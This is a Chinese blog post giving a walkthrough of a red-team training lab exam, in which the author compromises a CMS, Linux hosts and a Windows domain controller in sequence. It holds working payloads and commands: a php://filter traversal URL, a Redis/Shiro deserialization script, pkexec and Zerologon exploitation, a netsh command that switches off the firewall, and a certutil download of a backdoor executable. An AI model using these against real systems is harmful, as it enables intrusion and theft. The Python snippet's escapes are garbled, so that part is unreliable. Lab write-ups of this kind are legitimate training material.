免责声明
由于传播、利用湘安无事所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负 责,湘安无事及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除 并致歉。谢谢!
首先恭喜一下S佬出师了,跟s佬差不多认识半年了,刚开始是问我找工作的事情,然后就慢慢认识了,毕竟他才大二,而我已经出社会了,我们也会交流一些技术,但最多的其实是聊妹子毕竟他也是一个艺术青年。
头一次聊天截图:s佬还是那么爱学习爱红队,现在他已经进安全大厂实习了,值得一说学红队快报暗月渗透,然后出师你就会像s佬那么牛逼了哈哈哈
暗月渗透测试培训:
https://mp.weixin.qq.com/s/gEaLwczJBpYeEIphb4QMyw moonsec,公众号:moonsec暗月渗透测试课程更新
这b比我还深情,真该死,好了回忆的话就不说那么多了,祝福s佬越来越nb,接下来看s佬如何出师考核乱杀
该次考核难度适中,耗时打满了考核时长,有时间问题,但问题主要出在:
1、shiro反弹shell语句方法不熟练
2、主机敏感信息搜集不到位
以上是走弯路导致硬拖时长的主要问题)
拓扑图:
Web打点:
通过目录探测可以看到存在phpmyadmin以及登陆页面,登陆页面存在前后台。
由于项目是开源的,所以前期为了方便可以当作灰盒来打,该CMS的Gitlib托管存在一个issue其中提到存在目录遍历漏洞,于是复制payload,并找到phpmyadmin配置文件,其中存在密码:
payload:
/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=../../../../config/database.php&maxwidth=-1&referer=test
同时还找到了后台地址,该后台地址需要{{hostname}}+/index.php+后台路径,否则无法进入后台。
以phpmyadmin的root/vVICDU1Erw进入后台,发现存在CMS后台管理员的账号密码,但是加盐了也不好找到规则,但是我们可以利用在前台注册的用户得到加密后的md5进行插入,便可以进入后台。进入后台后,首先测试了黑盒测试了上传、注入均不存在,但是又想到既然前面爆出了目录穿越漏洞,那么很有可能该后台也存在目录穿越,但是具体功能点会在哪里还是比较抽象。
于是开始在每一个功能模块处能交互的点都进行目录穿越的payload的测试,于是找到了创建页面的异常:很快发现了目录穿越的位置,同时这个view.tpl很奇怪,于是查了一下才知道,在tp框架中,模板渲染文件就是tpl。一般会对php语法进行处理,并且自动生成在tmp目录下,之后前端渲染的时候调用处理该文件,那么就相当于一个rce的触发点。那么现在就要尝试把tpl文件填充payload并写到tmp目录下。
于是回到phpmyadmin后台,查看该web目录不存在写权限,但是tmp目录恰巧可以写操作,于是将tpl写入tmp目录下E可以看到写入成功,于是根据上面测试知道在定义独立模板的时候,我们可以进行目录穿越,那么结合目录穿越让他执行的时候找到/tmp目录下的tpl是否可以?
于是成功反弹shell,写webshell上去。
内网:
192.168.10.174
生成后门并上传:chmod给权限运行后门:
普通权限上线msf:
准备提权,看一手suid:
可以看到pkexec具有suid权限,于是2021-4034走起,成功。
<上线viper
找到flag:/root/root.txt
192.168.10.175
192.168.10.174拿下之后,看一下192.168.10.175做一下大保健:
(先在174上面做一个frp)根据fscan得到的结果:弱口令+1
测试,可以连接!再来到8080:
因为之前一直在搞java审计,所以自然了解redis-shiro是怎么回事,于是找到payload并修改直接打,打cb1的链子就可以。
import pyyso
import socket
s=socket.socket()
s.connect(("127.0.0.1",6379))
whatever=b"123"
key=b"shiro:session:"+whatever
value=pyyso.cb1v192("open /")
s.send(b"x2ax33x0dx0ax24x33x0dx0aSETrnx24"+str(len(key)).encode()+b"rn"+key+b"rnx24"+str(len(value)).encode()+b"rn"+value+b"rn")
if b"+OK" in s.recv(3):
print("success")
测试dns能否成功:没问题,于是构造key=12333成功反弹shell:(这个点注重反序列化的格式要用base编码的JNDI那种注入才行,这个点卡了两天)
后门继续上线到viper和msf:
当初在这个175的机子上卡了很久,Ubuntu20.04版本Linux内核5.4.0没法提,尽管有个pkexec的suid,但那个很玄学,也是没法提权,至此思路就枯竭了,但是经过主机的信息收集得到的信息来看:
首先172服务器只开了22端口,并且我从内置的端口一直到全端口没有扫到其他服务,那么说明只有两条路:
1、爆破ssh:经过一天半的爆破,越想越傻应该不会是爆破。
2、ssh密钥泄露:起初一直以为会出现在opt的备份文件中,一直在翻看历史记录,但没有找到有用信息,于是看了一下login信息,有一个web用户,于是就进入了home/web的目录里面找到了.ssh目录,里面有一个id_rsa,大概率是这样?。。。
于是进行ssh密钥登录,拿下172:
192.168.10.172
上线之后在/var/www/web找到密钥ssh上去172上来便是root权限,于是找到flag:/root/root.txt
因为172是双网卡,所以在172上做个frp代理出来,之后msf添加10段路由
挂上proxychains之后进行一波针对10.10.10.133和10.10.10.137的信息收集:
发现域:sunday.club找到一些服务,主要看445,一般有445就可以直接上msf的smb一些cve来打,起初尝试了CVE-2021-42278、CVE-2021-42287但是没成功,因为时间不够了,我把希望寄托在域控身上了,所以exchange就没有花费太多信息,因为如果可以端掉域控,那么拿到域管的hash直接扫荡
10.0.10.133&137
(拿下ad133直接横向137,手法一致)
于是尝试CVE-2020-1472一发入魂:可以看到域控的密码置空了,接下来就是dump掉域管的hash:
顺利拿到域管hash之后,用神器psexec拿下133&137:
这里乱码只需要chcp 65001就可以
找到flag:
由于这两台机器在内网且不出网,故不能反向连接,于是只能正向连接走一波先查看杀软:经过viper分析没有杀软
<firewall show allprofiles查看防火墙策略
(看到有开防火墙)netsh advfirewall set allprofiles state off关闭防火墙
配置好10段路由:
生成一个正向连接的exe马:
这里需要在172服务器开一个web服务,使用python3 -m http.server 8000当作文件中转服务器
certutil -urlcache -split -f "http://10.10.10.138:8000/ad133.exe" C:ad133.exe下载正向连接马
33&137运行马子,上线msf和viper!
找到flag:
C:/Users/Administrator/root.txt
拓扑图:
flag汇总:
moonsec_flag{bbb0ae8a2c7d0ecc589621699f28afde}moonsec_flag{26d300091986f45ca21d1cd6b7b79832}moonsec_flag{6d4db5ff0c117864a02827bad3c361b9}moonsec_flag{a81c3d94aa192d3f87ed9f2fffec04fc}
看完点个关注吧:
推荐阅读:干货 | 记又一次教育园js逆向挖掘
推荐阅读:干货 | 一波三折的教育园证书挖掘
推荐阅读:干货 | 记又一次教育园证书挖掘
推荐阅读:干货 | 教育园src上分小技巧
点赞,转发,在看
原文始发于微信公众号(赤弋安全团队):月师傅红队出师靶场考核wp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论